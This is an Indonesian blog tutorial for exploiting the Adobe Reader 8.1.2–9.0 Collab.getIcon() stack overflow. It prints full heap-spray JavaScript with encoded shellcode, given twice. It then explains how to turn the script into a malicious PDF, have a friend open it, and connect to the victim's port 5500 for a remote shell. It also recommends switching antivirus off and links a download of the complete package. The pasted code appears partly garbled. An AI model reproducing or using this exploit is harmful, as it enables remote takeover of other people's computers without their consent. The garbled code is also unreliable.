Asal mula celah keamanan get_icon pada Adobe Acrobat dan
pembuat aslinya :
Affected Version : Acrobat Reader 8.1.2 – 9.0
Vendor Patch : http://www.adobe.com/support/security/bulletins/apsb09-04.html
Tested On : XP SP2 / SP3
Vendor Patch : http://www.adobe.com/support/security/bulletins/apsb09-04.html
Tested On : XP SP2 / SP3
This vulnerability allows remote attackers to execute
arbitrary code on vulnerable installations of Adobe Acrobat and Adobe Reader.
User interaction is required in that a user must visit a malicious web site or
open a malicious file.The specific flaw exists when processing malicious
JavaScript contained in a PDF document. When supplying a specially crafted
argument to the getIcon() method of a Collab object, proper bounds checking is
not performed resulting in a stack overflow.
If successfully exploited full control of the affected
machine running under the credentials of the currently logged in user can be
achieved.
This vulnerability was discovered by:
Tenable Network Security (there is a man named Nicolas
Pouvesle and we know == > he has lots of exploitation method ; ))
Exploit By : www.Abysssec.com
Tutorial ini berbeda dengan salah seorang yang
memberitahukan ke penulis tentang adanya exploit Arcobat Reader get_icon
exploit yang sudah dalam bentuk jadi, waktu itu ditunjukkan di urlnya k*****s
yang kemudian setelah itu saya modifikasi lalu kemudian saya seminarkan pada
tahun 2009 bersamaan dengan teknik-teknik hacking lainnya. Karena sesuatu hal
jika saya share lagi “scriptnya” dimungkinkan dia keberatan walaupun sudah saya
modifikasi. Maka disini saya menggunakan teknik dari saya sendiri.
Teknik ini saya gabungkan dari shellcode exploit IE7
yang didapat milw0rm (www.milw0rm.com)
dengan salah satu teknik yang dipakai abhilyall (www.hackforums.net).
Dan tidak ada comotan script yang bersangkutan yang saya masukkan script ini.
Jadi yang mau pakai silah-silahkan saja, bebas kok.
Pertama : anda Copy aja saja source code ini lalu pastekan
ke notepad.
—————————- potong disini ——————————–
function spary(){
var shellcode = unescape(“%uc931%ue983%ud9a2%ud9ee%u2474%u5bf4%u7381%u5b13%ueec2%u83f8%ufceb%uf4e2%ud2b0%u ? b2b4%u0b68%u4188%uc367%ucc6e%u5b51%u020c%uc7b0%u1306%u3da4%u8811%u5b17%u6177%u3f ? 98%u51d6%u5bc2%uea77%u5782%u11fc%uf6de%u21fc%ud0ca%ueaaf%u67b1%u15fc%u23dc%u9274 ? %u2549%u6257%ud039%u7539%ub6f1%u3621%ud093%u6248%ud039%u0b85%u02cc%uc784%u53b6%u ? 3e2e%u9c41%u2473%ub220%u3e2e%ud09c%ueaba%u7f84%ua274%uba13%ua074%u92f1%uea11%ud0 ? ca%u7d31%u98c1%u80b6%u58c0%ueab6%u58c2%ueab4%ud038%ue280%u5504%ub1fc%u5fa8%u892e ? %u5b92%u6177%u9d41%u337a%ua494%u9d20%ud098%u0baf%u02c3%u5c9f%u5bc2%ue277%u4804%u ? 2721%u6542%u14f7%udb38%ue141%ud89c%u419b%u8749%u411d%ua491%u8d20%u5f05%u3d74%u75 ? a3%ua612%u5886%u1973%u5ba7%u5277%u0b02%u3227%u0b94%u3688%ud03e%u31ab%ua491%u9120 ? %ua492%u9520%u9bf1%ue4db%u2e02%u308e%u0d90%u9e24%u0110%uca2e%ub520%ua144%ub301%u ? 9e51%ua43d%u0430%u0bb6%u0e05%u1aa1%u0513%u3eb0%u1204%u1cc2%u1512%u2291%u1504%u36 ? a7%u0833%u3eb0%u1514%u29ad%u200e%u0cc2%u0f1e%u2387%u0212%u1ec2%u080f%u0fb6%u131f ? %u3aa7%u6113%u348e%u0516%u328e%u1315%u29a3%u200e%u2ec2%u0d05%u34af%u6119%u0997%u ? 253b%u2cad%u0d19%u3aad%u3513%u1dad%u0d1e%u1aa7%u9077%ub62f%uc29e%ued74%u8d85%ua3 ? 36%u8b9c%uac34%ud687%uab28%u9d9a%uae28%u9c8b%ua175%u9581%ua074%u9dc0%ua723%uf86e ?”);
garbage = unescape(“%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3″) + shellcode;
nopblock = unescape(“%u9090%u9090″);
headersize = 10;
acl = headersize+garbage.length;
while (nopblock.length fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0×40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i
{
buffer[i] = unescape(“%0a%0a%0a%0a”);
}
Collab.getIcon(buffer+’_N.bundle’);
}
spary();
var shellcode = unescape(“%uc931%ue983%ud9a2%ud9ee%u2474%u5bf4%u7381%u5b13%ueec2%u83f8%ufceb%uf4e2%ud2b0%u ? b2b4%u0b68%u4188%uc367%ucc6e%u5b51%u020c%uc7b0%u1306%u3da4%u8811%u5b17%u6177%u3f ? 98%u51d6%u5bc2%uea77%u5782%u11fc%uf6de%u21fc%ud0ca%ueaaf%u67b1%u15fc%u23dc%u9274 ? %u2549%u6257%ud039%u7539%ub6f1%u3621%ud093%u6248%ud039%u0b85%u02cc%uc784%u53b6%u ? 3e2e%u9c41%u2473%ub220%u3e2e%ud09c%ueaba%u7f84%ua274%uba13%ua074%u92f1%uea11%ud0 ? ca%u7d31%u98c1%u80b6%u58c0%ueab6%u58c2%ueab4%ud038%ue280%u5504%ub1fc%u5fa8%u892e ? %u5b92%u6177%u9d41%u337a%ua494%u9d20%ud098%u0baf%u02c3%u5c9f%u5bc2%ue277%u4804%u ? 2721%u6542%u14f7%udb38%ue141%ud89c%u419b%u8749%u411d%ua491%u8d20%u5f05%u3d74%u75 ? a3%ua612%u5886%u1973%u5ba7%u5277%u0b02%u3227%u0b94%u3688%ud03e%u31ab%ua491%u9120 ? %ua492%u9520%u9bf1%ue4db%u2e02%u308e%u0d90%u9e24%u0110%uca2e%ub520%ua144%ub301%u ? 9e51%ua43d%u0430%u0bb6%u0e05%u1aa1%u0513%u3eb0%u1204%u1cc2%u1512%u2291%u1504%u36 ? a7%u0833%u3eb0%u1514%u29ad%u200e%u0cc2%u0f1e%u2387%u0212%u1ec2%u080f%u0fb6%u131f ? %u3aa7%u6113%u348e%u0516%u328e%u1315%u29a3%u200e%u2ec2%u0d05%u34af%u6119%u0997%u ? 253b%u2cad%u0d19%u3aad%u3513%u1dad%u0d1e%u1aa7%u9077%ub62f%uc29e%ued74%u8d85%ua3 ? 36%u8b9c%uac34%ud687%uab28%u9d9a%uae28%u9c8b%ua175%u9581%ua074%u9dc0%ua723%uf86e ?”);
garbage = unescape(“%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3″) + shellcode;
nopblock = unescape(“%u9090%u9090″);
headersize = 10;
acl = headersize+garbage.length;
while (nopblock.length fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0×40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i
{
buffer[i] = unescape(“%0a%0a%0a%0a”);
}
Collab.getIcon(buffer+’_N.bundle’);
}
spary();
————— potong disini ———————–
Lalu simpan dengan nama file hackpdf.txt
Seperti ini dibawah ini :
Lalu Download Python : http://www.python.org/ftp/python/2.6.1/python-2.6.1.msi
lalu install setelah maka download http://www.didierstevens.com/files/software/make-pdf_V0_1_1.zip
lalu extract ke c:\python26
Di directory c:\python ketik :
c:\python26>make-pdf-javascript.py -f hackpdf.txt hackpdf.pdf
c:\python26>make-pdf-javascript.py -f hackpdf.txt hackpdf.pdf
Setelah menjadi file PDF silahkan upload ke web anda suruh
teman anda buka dengan Acrobat Reader 8.1.2 – 9.0 lalu anda masuk ke Putty
( http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
)
Masukkan ip addreas teman anda dalam putty lalu pilih
telnet lalu masukkan port 5500 lalu jalankan.
Hasilnya anda akan mendapatkan shell :.
Exploit seperti ini terdeteksi oleh Antivirus, pastikan
antivirus gak aktif.
Sebagai tambahan bagi yang pernah mendapatkan script yang
fungsinya seperti ini yang di dapat dari saya jaman dahulu maka anda dapat
menghapusnya dari komputer anda, daripada nanti menimbulkan masalah ke anda,
karena saya sudah menghapus script dari yang bersangkutan dari komputer saya.
Sebagai gantinya anda dapat menggunakan teknik dan script ini.
Sehingga jika saya mengisi seminar atau di event saya sudah
tidak menggunakan script yang isunya katanya milik yang bersangkutan, tapi saya
menggunakan teknik cara berbeda yang saya tulis diatas dengan sumber yang sudah
disebutkan.
Bagi yang lain jika ingin mengisi seminar, workshop atau
lainnya boleh saja menggunakan tutorial dan script ini karena sudah saya
licensikan ke YFX.
Bagi yang ingin mendownload paket lengkapnya :
http://rapidshare.com/files/405002909/hackpdf.zip
tapi hanya bisa di download sebanyak 10x, sehingga share kembali setelah anda
mendapatkannya.
Script seperti ini sudah ada juga di Metasploit Framework
3.4, jadi dapat menjadi alternatif selain menggunakan ini.
0 komentar:
Posting Komentar